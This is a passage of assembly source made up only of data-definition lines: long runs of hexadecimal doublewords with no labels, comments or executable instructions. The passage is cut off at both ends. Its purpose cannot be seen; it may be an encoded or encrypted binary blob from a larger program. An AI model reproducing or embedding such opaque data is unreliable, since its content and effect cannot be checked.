0CCAA8D8Ah, 0E4CD6500h, 0C10FCBC9h, 229001E1h, 106AB645h dd 247E6C50h, 5B59625Ah, 7F2B4014h, 25A11716h, 0C7296700h dd 0A0187D96h, 0F69D1EE8h, 6488928Eh, 0C0F5DB73h, 0EA774680h dd 581B4865h, 241C9D10h, 811E5257h, 0CC5F48E0h, 0E57BD902h dd 7A5111E9h, 0F3B1F204h, 0DAE86E99h, 3B0A7FC3h, 0F182507Ch dd 3D458A20h, 2F9B434Ch, 6124F520h, 444B4929h, 0FD8D167Fh dd 4149680Dh, 23222842h, 0DD73037Ch, 0F91691B1h, 81E2E11Eh dd 18A6CAC0h, 0D2C202E6h, 1D4C5D3Fh, 41549290h, 81880F46h dd 22C408EAh, 5D477533h, 0D0F85309h, 0E20011C2h, 1B9D17B2h dd 0B4E8F5FFh, 0A3908F1Ch, 0EA550101h, 0B50EF0DBh, 24872614h dd 30291096h, 96905A2Fh, 0CCB0A213h, 0F9214500h, 246ABDD9h dd 447D1EAAh, 0FFDF007Bh, 9533B1E9h, 41145D34h, 0E7027D24h dd 4C08CAC1h, 288AB09Ch, 447A5544h, 0D59A5107h, 595197F0h dd 446E2E81h, 4D77EF04h, 0F12F803Dh, 7A62AC62h, 71B75E4h dd 3BF97760h, 0D960DA62h, 61812FFDh, 0A68068C4h, 6AF814EDh dd 0C912E103h, 0A2012406h, 0AE5A0073h, 0C773BF51h, 775C0070h dd 798CB7B0h, 9D10892Dh, 5A3403BDh, 8881CED0h, 1CD1C019h dd 0EC049CFEh, 11BD098Bh, 3568F393h, 89A0C027h, 9BC0023Bh dd 0A082C62Bh, 0DD0971C5h, 87E99525h, 83D01E7Ch, 20C6A8F8h dd 0B13C05EAh, 95BF824h, 1FBA4F00h, 0B16DB1Dh, 765BD33h dd 11049C12h, 7B3AC102h, 9D010004h, 0C163D24Dh, 295AF5F5h dd 0E0E3BC2Fh, 2AF234CFh, 0BB8F1BEAh, 0D0697E40h, 6CE88A31h dd 8000EFF2h, 1AD0B2C5h, 8C1DB83Bh, 5F842800h, 0D27F99A2h dd 0B5B324E6h, 6DB260Ah, 2F0FE8C0h, 59F85D00h, 5FA29D7Ch dd 0BBBD0330h, 0C3869FD9h, 0C910D79Ch, 0A4AFC398h, 0DDF24800h dd 7AB50A61h, 303F3C76h, 0AEC82702h, 8C591157h, 0C81FD8F1h dd 28B95ED8h, 0A544E700h, 260D321Eh, 15ACC831h, 0E929F845h dd 3B033E8Dh, 548529F5h, 3201E0DFh, 0FE3B1146h, 27BCEA3Fh dd 9417A038h, 0C5064954h, 0DE82A971h, 33120150h, 0A284218Dh dd 90E33A3h, 0D3F02DB5h, 9BAA288h, 3BDCF0B2h, 0AF933266h dd 1D751E78h, 5BF434Dh, 0C270D534h, 4A40CB13h, 0C5D72B85h dd 0B78B305Fh, 44CB16F8h, 243FB947h, 0B919ACCDh, 11559752h dd 0DFFD8117h, 0A03C35F3h, 27579480h, 3C2C0222h, 9DA2BC95h dd 897B44A6h, 4DFC1D4Dh, 0C5D098B7h, 6050800Ah, 152D2B7Fh dd 0D9D1A217h, 0A0BCCC61h, 0B126FDC4h, 0E28140B6h, 252CEECBh dd 0CFA5A86Ah, 7760600Fh, 0DE0C5354h, 0A1598501h, 0C7C83C8Bh dd 70336D10h, 0D19D6EA0h, 234279BEh, 21D18EDh, 0A4EA8F89h dd 59CC1119h, 3BF05F01h, 0A152357h, 1FA47F2Eh, 85B22295h dd 2F4B8794h, 333E6B75h dd 69DC1499h, 1B8BA60Dh, 17C49AE7h, 0D2D7AB60h, 21E1CE50h dd 90600240h, 29CD20AFh, 40B70B9Fh, 8A0B314Fh, 1A1D482Ah dd 0E26C3BDDh, 0CD91EA0h, 50897A93h, 1FCE68E9h, 2E530EE4h dd 0F8075639h, 5E2C70E2h, 3402CFD2h, 655C1E67h, 92914559h dd 88A68F5Ah, 2B67C114h, 0CD552E95h, 8C14B8AEh, 890FD613h dd 0C0BF2822h, 30798FC4h, 91530E9h, 1348B18Dh, 73A9A4A4h dd 8C0F06B8h, 8209A99Eh, 40E6A0B6h, 5C81BD1Eh, 9D845F11h dd 292C90A1h, 0A958DB5h, 0FCE4CB83h, 6E3FC699h, 0E46A001Ch dd 5BDE29FCh, 0A9939560h, 46DC1FA0h, 7376AB24h, 83280D0Dh dd 49B2EE60h, 1498F8E5h, 2C9386F7h, 1FD28101h, 94707C74h dd 88694BBDh, 0D3991361h, 0D21819F9h, 0E5CC2A04h, 5F81ABFEh dd 0C061741h, 71919574h, 40797E4Ch, 0DD248005h, 36CC7483h dd 0CC294169h, 34B2B1BDh, 0F577E90Eh, 850532FFh, 2C042A11h dd 8A5DF86Ch, 96B1035h, 0FCDB0E71h, 13741D0h, 677D9F16h dd 0AE6BA231h, 83A4699Ah, 45850A3Ch, 110C5B29h, 0F35EAB04h dd 9C80AF79h, 28F70DF0h, 8DD4C007h, 4A9521B5h, 510F98h dd 749A87ACh, 50935FFBh, 204F1C00h, 0E24A9477h, 774C487Dh dd 4C9DC710h, 818873BBh, 497E0BDFh, 0C084766Bh, 9D3BC060h dd 50A015F9h, 618101A5h, 7F5AC41h, 456A0F97h, 0B82F3144h dd 28E6B42Eh, 692826A0h, 6DBF660Ah, 9D0CF863h, 37F38919h dd 0A2F8A0Fh, 74D44868h, 5A0C1646h, 5164178Fh, 0D0C11864h dd 148805CEh, 0CF8B88C1h, 121F89A6h, 5A3AF01Dh, 919D8AACh dd 47E4B926h, 6A790043h, 0C8173718h, 460B39BEh, 851F562Eh dd 0CAA203B8h, 0D9F8325Ch, 2FD9E48Fh, 6E5F8B3Ah, 0CA7F00C6h dd 0F093FF09h, 0F938261Ah, 801825DDh, 1832B85h, 0BDD981D2h dd 2043112Ah, 6127490Eh, 0C0784D50h, 226C6FFDh, 0B2D18902h dd 76A1F224h, 98B8026Eh, 0B4C0D88Bh, 82E852D3h, 0CF611D9Eh dd 8441535Fh, 9D8E0145h, 8E5F8903h, 6BB5043h, 5984205Bh dd 0A25B104Eh, 0E4830FCEh, 29600994h, 0A5247985h, 8092B8E8h dd 93F45E5h, 0C6FD03DAh, 615F4259h, 0FAC2A20Ch, 5BB1F638h dd 0F88DCD80h, 9A16AAF1h, 41440E51h, 6A091769h, 0DD208FF8h dd 5F36D002h, 4DBD2B09h, 0BA04C1DAh, 42E34490h, 6E6E7FE5h dd 0EEC000E6h, 4898E336h, 95292766h, 468AC27h, 8B5FE818h dd 8295B753h, 9D99303Bh, 38A18AA2h, 8E6988DEh, 186531B3h dd 6685417Dh, 36AF99BAh, 0EA8103FCh, 9DAB945Eh, 9062F71Eh dd 14092C0Ah, 9EB55008h, 3377A1ACh, 2F8BA144h, 9C371840h dd 0B44C9D00h, 0F8B30FDh, 1F54DBFh, 0AD1A1544h, 285112F0h dd 340B9A8Dh, 50C51488h, 3922E1CBh, 0AB1FBF01h, 8C3D6421h dd 205915A8h, 291501D3h, 178AF98Dh, 0FC3F32E9h, 28071623h dd 96153D7Bh, 0BB9F3448h, 13278128h, 0CC8AE680h, 0F5A10B4Ah dd 9D7322Bh, 0E683E980h, 0DC599425h, 6DAEFE06h, 0A056ADFAh dd 4CB6F12Dh, 6E5B3FD1h, 2BAC05D0h, 0B212C786h, 0A05813E6h dd 0C6FCE848h, 0C6E10B47h, 0E2960B0Bh, 0A4DB00A7h, 0D6DF7A34h dd 70F2006Dh, 0BF603BD1h, 4A00CD65h, 6158500Ah, 0DD7815Fh dd 1EDB6FB3h, 0AD6C20AEh, 563C1741h, 0E0C6518Bh, 329169A0h dd 601BC48Dh, 0C95716h, 315E7D54h, 15BE9FBh, 0F55CC082h dd 3ADB831Eh, 1BF53758h, 0EC170AF9h, 0DFD3D156h, 1B490B2h dd 2C52025h, 0B915631h, 0F90AC82Dh, 883984E9h, 31160885h dd 0E907C5E2h, 19FFF037h, 0EB822537h, 7EABF1D4h, 4A91422Ch dd 3E5018F4h, 0B9C1A072h, 0A2E61289h, 11333F19h, 0DDF807DDh dd 20E60742h, 0F053595Bh, 12FC982h, 2D61D98Bh, 579B880h dd 3C76F934h, 40FDA289h, 0AEBE17E4h, 6275E5E0h, 0F6F0005Fh dd 0D391F37Bh, 9701E89Ah, 0FFD95B40h, 202A8B23h, 286E96Ah dd 0F4F6BCh, 3F0E7268h, 98808D58h, 95897F0Bh, 1CA27FDh dd 0C40AD5B2h, 0F6092FD0h, 0EA410B4Fh, 18606132h, 599E86Ah dd 0F5B9663Ch, 1BC0BA0h, 65D97D29h, 5FC12500h, 1663A019h dd 0A209CE2Ch, 0F590B99h, 0D682B08Dh, 0D3535CE9h, 420AA9C4h dd 822E7D8Dh, 1F41162h, 3640D0B1h, 6A7F7CAh, 4652C6F2h dd 0A9BE027Dh, 0D051F969h, 0C2F73840h, 42DBB418h, 821A218Eh dd 346A7510h, 1F9D92CEh, 2B66CAAFh, 203DD80Fh, 0FFA115D5h dd 62DA3007h, 98C0144h, 4C3F6DBh, 53FC2704h, 5601B6B3h dd 0A8B85268h, 6A171E9Ch, 10830804h, 8164B73Bh, 8A74B2DCh dd 68472D10h, 18AC9B08h, 414F3ECh, 801EF08Bh, 2661684Fh dd 6D7EF72Fh, 70D243FBh, 18CA7D58h, 85185628h, 757553C0h dd 98684101h, 7FDB8764h, 0B8EA257Dh, 39684C68h, 802BE7A4h dd 9D8B4120h, 5BE21774h, 55BD5004h, 0B1C25479h, 0AE3BC715h dd 4385E95Dh, 702020Ch, 0C5098985h, 0D0022039h, 0B5CA2E47h dd 21114A8Bh, 68454067h, 0A520F797h, 2F2D2192h, 0D50267CCh dd 7585280Ch, 0B4603632h, 0A94EA1D1h, 7E750C19h, 449A34A5h dd 2A39D782h, 0FC0032F3h, 38CD7180h, 1AC60E9Ch, 5F801BBEh dd 0EA62EE74h, 8B672205h, 734201BDh, 0F04B2E45h, 50F90436h dd 0D095BD29h, 35FF641Fh, 18703FE1h, 1962984h, 283A045Fh dd 76258964h, 3018A203h, 483F683Eh, 0E2808156h, 0E9BD2B61h dd 0C15F5628h, 602F2A9Bh, 20452D5Ch, 2BB9F244h, 978D2916h dd 3A86C717h, 0DDBD040Ch, 7FC1E512h, 583CA24h, 0DBB55F3Dh dd 37D980F7h, 1A5BF66h, 8024B6EDh, 2AFC8DBDh, 0C260428Ah dd 0E93313C1h, 93476E4Ah, 0DB90CAB7h, 0E438A1B9h, 0CC0EE22h dd 9E9D38Bh, 0DB00233Bh, 677F5403h, 2DA42A3h, 73F0F40h dd 0A3DC640Bh, 1069554Bh, 24119F10h, 0F2E33080h, 3D1D9AD6h dd 2107372Fh, 0E4BBB92Ah, 90C68431h, 0FB83F8F8h, 8422F4B8h dd 3D20C413h, 0B5BDB407h, 5E9171Bh, 24121EBFh, 2D7E5CCCh dd 0F9009AECh, 0D2E04AE2h, 419A5D1h, 9B5B8A8Eh, 8069A8F3h dd 34B76823h, 50BD0B6Fh, 0A0808B86h, 0A481C70Ch, 3FF25CCh dd 0CAB8F483h, 6920415h, 305C8BC3h, 4184DB83h, 67ED815Dh dd 518B6824h, 74411B83h, 89022F2Ch, 4F5D0CA6h, 0CDF18A27h dd 0ED31C144h, 5D608884h, 4DAFBB2Eh, 2B17E86Ah, 0D4871D11h dd 500C98Dh, 9B51F274h, 0A2C6A148h, 698E200Bh, 8C01C120h dd 15B111A3h, 0CA274871h, 40FA9076h, 559EB91Fh, 0D704B883h dd 6405D855h, 0DF70081h, 85D465BBh, 401CBA86h, 8C3E34B6h dd 0C5FE8EAh, 9FBEEEDh, 564D5868h, 0F188055Ch, 724DCA30h dd 91E4F658h, 6A40E94Eh, 152F0BCFh, 1983004Fh, 4CB2490Ch dd 6F009DC3h, 0FC36918Ch, 4B8B0703h, 80E79BC0h, 1B5AE4C8h dd 3EA44AE2h, 43D10A6h, 222FF984h, 20A117CBh, 7FA86CC5h dd 0C73900ABh, 30FADEE6h, 0F61B12CEh, 5287C84Ch, 0A5178A04h dd 87C27B0Fh, 0BF032F03h, 0E215FCCEh, 6AD83AE9h, 2E07F9A9h dd 151E3538h, 45B801h, 70656378h, 6E6F6974h, 0BB492039h dd 6D720A66h, 8C280C61h, 0B9656C3Ch, 202C9B73h, 0A964E308h dd 0CEF76874h, 0E66C7136h, 7E697E77h, 7F637A67h, 28736F64h dd 61E57EBEh, 78CDBD40h, 2ACE2EFEh, 5420836Dh, 6B163B68h dd 75BF793Dh, 40D0A9Bh, 280131FDh, 73469870h, 1D544362h dd 7F2B4C52h, 699ED1ECh, 64971ED9h, 0A18FA0B6h, 879702Ah dd 0BF696C3Ch, 72618562h, 36102964h, 65561F42h, 9F997354h dd 25DE3DDFh, 80431E72h dd 496B6387h, 640FA94Eh, 55234F1Ch, 72508754h, 211DFA6Fh dd 193B6D0Fh, 69E6010Fh, 0F3DA174h, 0CA5B1EC8h, 188E8D50h dd 0A201E1Dh, 15C12CBDh, 12D62E5h, 9FFE0BFAh, 0ED3D10BDh dd 9768899Eh, 860D8025h, 24852793h, 0A4B3003h, 2C070D19h dd 1164CC1h, 0B3C12BA2h, 5712DE83h, 51259988h, 13230E11h dd 230E1D59h, 0E255960h, 0EC5B7E23h, 648D6738h, 8D6F3815h dd 76381964h, 0C20C4885h, 0E9023225h, 1244C4A2h, 321651BDh dd 0DA2953Ah, 0C1230E5h, 4B8B1BFCh, 303BF595h, 0D69CF860h dd 2FBBE425h, 2790958Dh, 28CB3452h, 3BE30340h, 5E9DFA89h dd 120C4D8Dh, 8B275540h, 0C38B13CAh, 9A3CE24Ch, 50113165h dd 90871108h, 791D8854h, 87210858h, 15885C90h, 0A24DDCA9h dd 6822AF1Ah, 5A93CD82h, 90190C21h, 6421C815h, 1911321Dh dd 0A09150Dh, 3F1C3107h, 2FE50748h, 57C5481Ch, 406A2486h dd 19295224h, 0E1299DD3h, 80BE2D01h, 0C98060C1h, 9EC0ECC3h dd 18465EF3h, 0DB73702h, 10575F64h, 0BCBFB1Dh, 0F5D59D81h dd 0E90579Fh, 0C4FDDAD3h, 2D2E040Eh, 724457h, 39D52F4Bh dd 910E2CA3h, 936BA000h, 6160E7BCh, 2F5A5A5Eh, 0B15231Bh dd 669885C1h, 370D1362h, 0EC7B52A8h, 72F46E2Eh, 0EAAD8F00h dd 30203243h, 51269CF4h, 7CAD146Dh, 5525CDB8h, 92718Eh dd 0ABEEEFB8h, 0AE04781Eh, 13E945C7h, 0CFE7B440h, 0E0F2A5F3h dd 81E40500h, 0AF3477C0h, 0F6900095h, 0E95A54DBh, 0AEBC0261h dd 6B6700F4h, 0E4FD8098h, 8C007C39h, 62C981DFh, 94EA502h dd 4C7F766h, 6D2BE526h, 9FA483ECh, 9B9611B7h, 0D45ECh dd 3B824DFAh, 0C5056387h, 8EAE4103h, 708D0F91h, 2B59072Bh dd 0B2F960FFh, 268E158Bh, 794603F1h, 0F007DB97h, 0CDC0F7h dd 0BDFDBB11h, 61594DA6h, 0E4133E90h, 4DA64B36h, 0F52169F0h dd 0EB0F5EEAh, 67BA6693h, 0BE51505Bh, 88EA9885h, 123F2AFAh dd 0B2D959F9h, 80449B2Fh, 0DD22B8B1h, 51150991h, 90E5DBF4h dd 5158602Bh, 6F35002Bh, 0FED67E74h, 0C4508B96h, 0E202BDE6h dd 1CD4891h, 0DE9F54EBh, 0CB253D00h, 8E0F64FBh, 0E0EA9C12h dd 0C26B2147h, 0DDB2A000h, 758173A1h, 209C4FE6h, 8616FC39h dd 0A044C401h, 0D430C064h, 1F2C0D3h, 0E41053B4h, 6B301AA2h dd 769A04B9h, 0E63E4C1Fh, 65885B2Dh, 0AD2019Bh, 7EFEEE58h dd 4AF3338h, 0DC1A8CC2h, 0DB2A43E1h, 0AF8E80C3h, 0B7DFE50Fh dd 22F19B07h, 345E5ABDh, 4C00B09h, 0CEE78B26h, 5B3D9A00h dd 0B235B4A4h, 9B178000h, 0EBA613Fh, 37752CFAh, 3CF0924h dd 86BD7901h, 63AA7C72h, 1F9C15Ah, 3840FA2Ch, 8B01B80Ah dd 80E7FF59h, 85EFFB33h, 9574F69h, 7BE61088h, 40B60F02h dd 4C8FE01h, 126A5DB0h, 8B5F0227h, 0C1DACD82h, 0F0E06C55h dd 8B07C728h, 6064B6C8h, 0D881F510h, 0A3C60C9Dh, 0F026141h dd 0E2F7B726h, 712CC228h, 96F672A6h, 0E42D6C9h, 0C6F102F4h dd 0A05E0CDFh, 71B465Eh, 0F41F6E79h, 57648541h, 70009123h dd 66694CC0h, 3E7C4EEAh, 675BF601h, 0BC5773CFh, 0FAF3E8A5h dd 1AD170h, 21E6F0EFh, 0D506A7D4h, 79C28B27h, 0FDC000EDh dd 4D46A6A4h, 6A7D167Fh, 35EB7024h, 0E459F609h, 0D6DC00CBh dd 0CD7D3D5Ch, 0FC01786Ch, 184D88FDh, 0DBD4AB50h, 5C0C03F6h dd 6134C181h, 43F3344Eh, 0A8F9BE00h, 0D22B0ED3h, 71DC8000h dd 81111C8Bh, 5C1E0EEFh, 0C3C059A4h, 0F2D4DE1h, 0F8AEE397h dd 1DCE0F3h, 88BE0945h, 8254E7CBh, 90DA0328h, 10BE614h dd 0A3F2BEB3h, 9689E09Fh, 0BE30605Ch, 2379D5Bh, 3D010D82h dd 49E204F0h, 860F2C60h, 6CC025D3h, 23B4AC6h, 5C54BF28h dd 0AC437997h, 8091178Eh, 5A431280h, 0B68820h, 53093624h dd 81A02CBDh, 9FA4FA0Eh, 2AF932FFh, 58D68F89h, 0C25C5560h dd 8003B90Eh, 8AF41A34h, 3D1F7CF9h, 689B52DDh, 86E09748h dd 2EE44DAh, 0D2FD9427h, 497AB3Ch, 3EEEF006h, 87320110h dd 24F7A910h, 721BCACh, 3437C288h, 0E6DDE970h, 25D31008h dd 0C3B0082h, 0AD049568h, 0CDDB78F0h, 0EA283548h, 293F7204h dd 0B8150ACh, 74259868h, 341F2180h, 35FF507h, 0AC22560Ch dd 318518EDh, 0E538D311h, 554183FCh, 0C0DAC42h, 1B346E18h dd 8230E439h, 9D9B5185h, 470B00BBh, 0DDCA2D5h, 20EA264Ah dd 0FF0A4500h, 80E33D9Eh, 5B91C295h, 98AFA05Ah, 1C298700h dd 0A200C40Eh, 9006FB83h, 0C1326A0Dh, 5554D721h, 4A49C0D4h dd 194BCD33h, 0F774A0CCh, 13AC1D04h, 36500E1h, 0D1AE0B23h dd 54003AF8h, 5818938Ah, 3E03F92h, 0D46E63A0h, 80066B0h dd 884962A6h, 2D8A8E4h, 570DED06h, 4CB0AD05h, 3C05D643h dd 0E0E9FE53h, 23EFE022h, 480CCD57h, 0F0B87CDFh, 4480E2E2h dd 654EE34h, 6A0092ACh, 0E9C54499h, 0C0F9482h, 0F32A0BC0h dd 450DAB48h, 209D1D69h, 1D87E008h, 1EEBA968h, 18E21814h dd 9BE87B90h, 39421CFh, 139E25FBh, 1083E271h, 0D3188819h dd 0D73A483Dh, 0F70F04E8h, 9829853Fh, 7536870h, 570EACFAh dd 770048EDh, 0B22035CDh, 860706BCh, 0C199843Dh, 44703100h dd 3F084AA6h, 90510ADDh, 309CD707h, 9EC6D269h, 81E3500Ah dd 9F879089h, 9186E2D7h, 2810A011h, 55D80087h, 0BAA4B670h dd 0AD442593h, 147C3AC5h, 0D9849A09h, 0D6327422h, 5DCFBCA1h dd 377CD453h, 0CCCE219h, 0D5E06839h, 2D4F00A4h, 62D6924Ah dd 44026DB6h, 72CD9D7h, 242C41E6h, 5AE78710h, 5CE83E7Fh dd 729DA026h, 56C5909h, 0C040E4B0h, 0AEE7EE8Eh, 0DF4D0098h dd 9B4EEF2Eh, 21C9D689h, 6A1C232Ch, 88594523h, 0DD105BE1h dd 6F0162E7h, 0E408C454h, 0D44C4580h, 0A8F448BBh, 91222840h dd 841B8660h, 625821BFh, 30B401F0h, 0B23C2202h, 0A6E199Dh dd 82D0A985h, 0ADC16A8Ch, 6C872040h, 13EAB502h, 8080C678h dd 0C71DD9FBh, 0EC14ACA2h, 0D481286Eh, 0C6842130h, 5A10F3Eh dd 8586862Bh, 70570069h, 45920C50h, 7F002004h, 4EB674EFh dd 60856529h, 0E8FD2905h, 0D800A2ECh, 0F66FC2ADh, 917DBEE2h dd 505F1304h, 0ADB82868h, 0D0E4E921h, 280C5852h, 59918FEFh dd 5425EECFh, 6BFC097h, 290B02C0h, 900610Fh, 0B797F07Bh dd 24E77DBBh, 441C2E04h, 3E613021h, 470E00DAh, 84203CEEh dd 98A4F737h, 81ACCD20h, 0C516FA4h, 8708963Dh, 0A6492086h dd 0D3108016h, 0B7CD3071h, 0DCCC24h, 0C8D60E56h, 7F3FFB48h dd 70A8E612h, 2CB8B40Ah, 3EAD5508h, 2AD8F068h, 66F3D90h dd 382D9280h, 0F8FA8C25h, 795828C1h, 409304F1h, 0B040EADh dd 0FCFE7198h, 4191D30Dh, 0F0FC2010h, 1CC892A9h, 4F6854Bh dd 0C09C4A95h, 57A6AEACh, 5C5A258h, 710D6A90h, 0B9877880h dd 3C1F4893h, 0CA44800h, 3E459003h, 0F9341E19h, 51934989h dd 98BC0C35h, 610C4A31h, 809D6D91h, 71140A26h, 3E9C64E4h dd 1F945D10h, 119383ACh, 81A97801h, 189E0D75h, 0C4BB4758h dd 71D300BDh, 94A40AD9h, 48F49D30h, 0F1254CD4h, 40A805EDh dd 0C09F20B4h, 1E31267Ch, 3CD0181Ch, 0B2E8F7DCh, 1C828F8h dd 5E4A3194h, 0EE2D25E9h, 0ED044440h, 0F0C01360h, 0E4B1FD5Ah dd 6B82324Dh, 62110129h, 22843608h, 55446D99h, 0FB9500CAh dd 588340B4h, 960FB95Dh, 2035D11Ch, 9CE0549Eh, 4CBF00F6h dd 0DE4B505Ah, 0A803C82Ah, 366C99FDh, 0A6EE8883h, 390B39FBh dd 43AF0FF4h, 0E5C030ABh dd 7FC63B2h, 0EFF2E000h, 7348EE82h, 0D47FF4h, 0A6FE59A9h dd 78B2F7BAh, 20083720h, 0F30032A5h, 55DA889Ah, 75F46ECh dd 0BA1FDF71h, 4D14A0E0h, 0F17F7379h, 0A83C9E03h, 0A1982BB0h dd 6760AA60h, 0EF1E00D2h, 3FE579ADh, 2F00E2C3h, 0CF62DEAEh dd 175BD884h, 0CE4941h, 7FBEF9F2h, 5D70B919h, 80B70100h dd 0E7580B77h, 0A7493C9Dh, 7CB03080h, 0ED218429h, 9E00A970h dd 0E3B60D71h, 0EC64E2BFh, 0B0F8ECh, 247C41E1h, 0EA4668FFh dd 2145F700h, 70363925h, 9AED00A6h, 8A99F204h, 49E81F8Eh dd 0D2A9FC50h, 75EEA37Ah, 0CF5B3100h, 0FE81AE01h, 2B020067h dd 8591D66Ah, 0A7006DF0h, 6F99B79Eh, 0F743DDh, 78CB0EE2h dd 274CE068h, 1E38D002h, 0C07672EEh, 1DAAB853h, 1D819470h dd 0F5F84501h, 0C1BC00B6h, 4DAFD307h, 2E571B00h, 5DDDDA6Dh dd 7A191E58h, 291F002Dh, 0D8B0127Ch, 609DC00h, 1C812470h dd 0CA300E2h, 0D4413EF4h, 0A000B031h, 8A52CE53h, 0BFE00Eh dd 0EFE44A7Ah, 76BD915Dh, 738FF4Ch, 7BF43678h, 40E3ABC0h dd 843A0069h, 31F63056h, 34006301h, 18DDD527h, 9068BBCh dd 1F7F6F95h, 0BD131000h, 0B307EADEh, 0E6964DADh, 2C3E97D0h dd 2E100FA3h, 49E050ACh, 6DFA5E73h, 94BA52h, 0CC0F714h dd 740BE68h, 0F2E10171h, 0ED7AC174h, 4741301Ch, 134C9A00h dd 0B20AAE5Eh, 2D30C7CBh, 8801CEC9h, 80B31F79h, 978DC261h dd 7D4E93h, 0C115E2B6h, 6D87BAD6h, 0B4909500h, 59A43A91h dd 9D71003Fh, 82D0179Ah, 460084CEh, 553C1F14h, 72C752h dd 3E5F6C33h, 0E3A4DF08h, 0CC111001h, 0D8B6EEE4h, 740C30h dd 21331AFh, 7D50B85Dh, 2C5CD400h, 73914F99h, 16F30021h dd 0C05F542Bh, 0BF003FB4h, 2FB1354Bh, 1FD6D9CCh, 0C055569Bh dd 41966111h, 0FB12ACD2h, 401AB80h, 1E37D183h, 1EBA58E4h dd 0D2BD73ADh, 5EAD0062h, 1A898D32h, 638E9D01h, 7C04261Fh dd 121496F4h, 400FD5DBh, 0C46DA0E4h, 0E700272Ch, 61774A5Bh dd 9067F352h, 8FE4F8h, 5E22854Eh, 70F59F2Eh, 9DA43E01h dd 0BFEED2A5h, 0D81030h, 4F0A16F4h, 183D7551h, 350BFCA0h dd 41E21AFEh, 0DE30A800h, 0EA28A9A5h, 67081D31h, 0A698094Ch dd 6FFA400h, 0D0A8E26Eh, 26001A6Dh, 0A69ED41Fh, 0ED420Eh dd 4BBA38B9h, 0DB27DE82h, 0B4687100h, 22EEC27Eh, 814400C4h dd 4A1C2CDCh, 12244E82h, 4604A478h, 3A20EF21h, 0CC1F7AF9h dd 40DD4A6Eh, 7C692840h, 6145E6h, 0E1F76646h, 153B42B1h dd 4BBEAC12h, 4DCA0800h, 0EEC013Ah, 4E6FA767h, 0F51246C0h dd 2C3795BAh, 0CC30293Dh, 36C84ACh, 0B8E226E7h, 819CA590h dd 28DCFBA8h, 0C3080A8Ch, 3F80C0B1h, 95037B8Bh, 89ED3B72h dd 0EF1C3900h, 0DD51BA66h, 77158000h, 0E28C499Ah, 0F30D1CDCh dd 0A623C090h, 0E76A1904h, 1D5ED200h, 89C9BE82h, 3A8500D6h dd 0D733E2ADh, 8100ACE0h, 0C48E4F6Fh, 17E7BCF0h, 42642AB0h dd 5440382Ch, 0DF748FC0h, 8100F370h, 0F61CEB2Bh, 9A0D9FAh dd 0E34C2448h, 913C3C80h, 0F4703B55h, 9D974300h, 115C5A79h dd 0DDFF03F6h, 365DA094h, 8F198CB0h, 6B9F0B00h, 0D9BD6805h dd 43F600AAh, 0BB662EC4h, 3BE6FC4Bh, 4045702Ch, 0F2A67607h dd 1928B2D0h, 409038h, 0C13DE067h, 160653FCh, 538EF48h dd 0DD143264h, 56F05490h, 0E628013Eh, 0CA50048Eh, 0A8299DEAh dd 59A353C0h, 0EB1EC4h, 22407E9Ah, 0AFEF932Eh, 190D5600h dd 97A7D814h, 30E14C54h, 6AD76901h, 34D28396h, 0D600A2ECh dd 0D3F7C1E2h, 0C87D52h, 0E9F34B9Dh, 81433C30h, 1160239h dd 609F0383h, 9CF1A429h, 554830h, 0B3E1F646h, 979B1C0Eh dd 91CB1900h, 27820776h, 1C9050h, 89B7EA35h, 0F1FFEC0Bh dd 9E4588C0h, 0F0A2F30Eh, 558500B8h, 8BCD4E84h, 7A01670Ah dd 0FD4D159h, 0E5E099D0h, 0B23A309Dh, 0E28094F8h, 3254CD00h dd 0FE5F7124h, 0FF370049h, 7BE586BDh, 0D8016D25h, 0A4EBD226h dd 0E70E39h, 7FDD5A28h, 9C8F44Eh, 0D48684A1h, 0F6B0F02Ah dd 0ECBAB07h, 2130163Eh, 0E4CA18h, 0A1E834BAh, 3D677893h dd 0BFDFFA0Fh, 42A04080h, 169CB8h, 379495FCh, 0F3DCB3E9h dd 7B446902h, 0C0E29DABh, 0A204E9h, 7129A8A4h, 6F06CC26h dd 990FB20Eh, 0E8C17E03h, 693D2AEDh, 0FA038428h, 83FF2295h dd 1C6AAE80h, 0D5B98C00h, 5F42F79Eh, 3021EB21h, 854DECh dd 0FCE82FCBh, 0A98DC6EAh, 175E7500h, 7FB4E91Ch, 0B53B01DCh dd 5F6DF763h, 68EDF4F1h, 92AF3A00h, 82AB1D1h, 5503035Eh dd 0F910E88Dh, 8E0A1298h, 21C8DB27h, 0FB63FA38h, 6AE4824h dd 587A866Eh, 9B49B1F0h, 628580F8h, 7C7D682Bh, 186C7CCFh dd 215B0637h, 7F039BCEh, 0FED917F2h, 0C7610208h, 81972236h dd 58CFC4E8h, 0EC8FB3Ch, 179E3B0h, 0B5F0752Ch, 3861E0E3h dd 0E17D00FEh, 57F972AEh, 76005E32h, 0F5DEA6E9h, 59266Bh dd 0E5A71E73h, 4759350h, 0B0079FA3h, 59E00F90h, 0E9BDCA40h dd 0E449608h, 9118C288h, 0A9644083h, 0EAC7A0CCh, 98158747h dd 207F100Eh, 49186C04h, 0F06E0061h, 0E94B5448h, 3F330F62h dd 9B584087h, 2C9E8A8h, 8EC002Eh, 6D0162CAh, 59311125h dd 97883870h, 81A42C40h, 2490C103h, 0E677F7A1h, 0FAAC000Fh dd 610076Ch, 0AE019FEh, 2001388Ah, 25CCF711h, 5056E8DDh dd 0C16C706Eh, 6F66CEA0h, 55A8F3FCh, 74013F73h, 230C763h dd 4DF844A8h, 0C82CEB7Fh, 0CDAC0491h, 10C3A9E2h, 9046925h dd 2A4A0350h, 0F7AAFC43h, 2269D722h, 401C211h, 29902BE3h dd 63C98426h, 0BA896548h, 70EA0005h, 0A04D8733h, 0C10CFAh dd 448E3065h, 0EF265890h, 60CA9C00h, 0D81EAE3Bh, 0A0D1FB8h dd 7493407Ch, 0FBCB96FEh, 2B134B73h, 0D00059C0h, 2CA2F686h dd 338B0012h, 1AD54AE0h, 2A72D4B5h, 7DB2E100h, 0EB70A301h dd 9850FED6h, 7E5B0980h, 4C80451Eh, 0EE24346Ch, 0CEE42A00h dd 72E0ADDEh, 0A1F10077h, 0FFE64D88h, 41004430h, 371520AFh dd 275B8E0Dh, 7C04FB9Eh, 92B48C5Eh, 0BB3025Ch, 83B1A726h dd 899FDD8Ch, 0B0835ACCh, 6E72F222h, 89171990h, 1F915F01h dd 23FBCD9Ah, 57773080h, 7105520Eh, 2845B800h, 40A15654h dd 0F10102ABh, 9A20F62Bh, 2C12FCA1h, 13C02439h, 0DC6B4102h dd 0E073D663h, 184A34h, 0E729CCC7h, 70AB92CAh, 37CEF918h dd 3047B730h, 79B80564h, 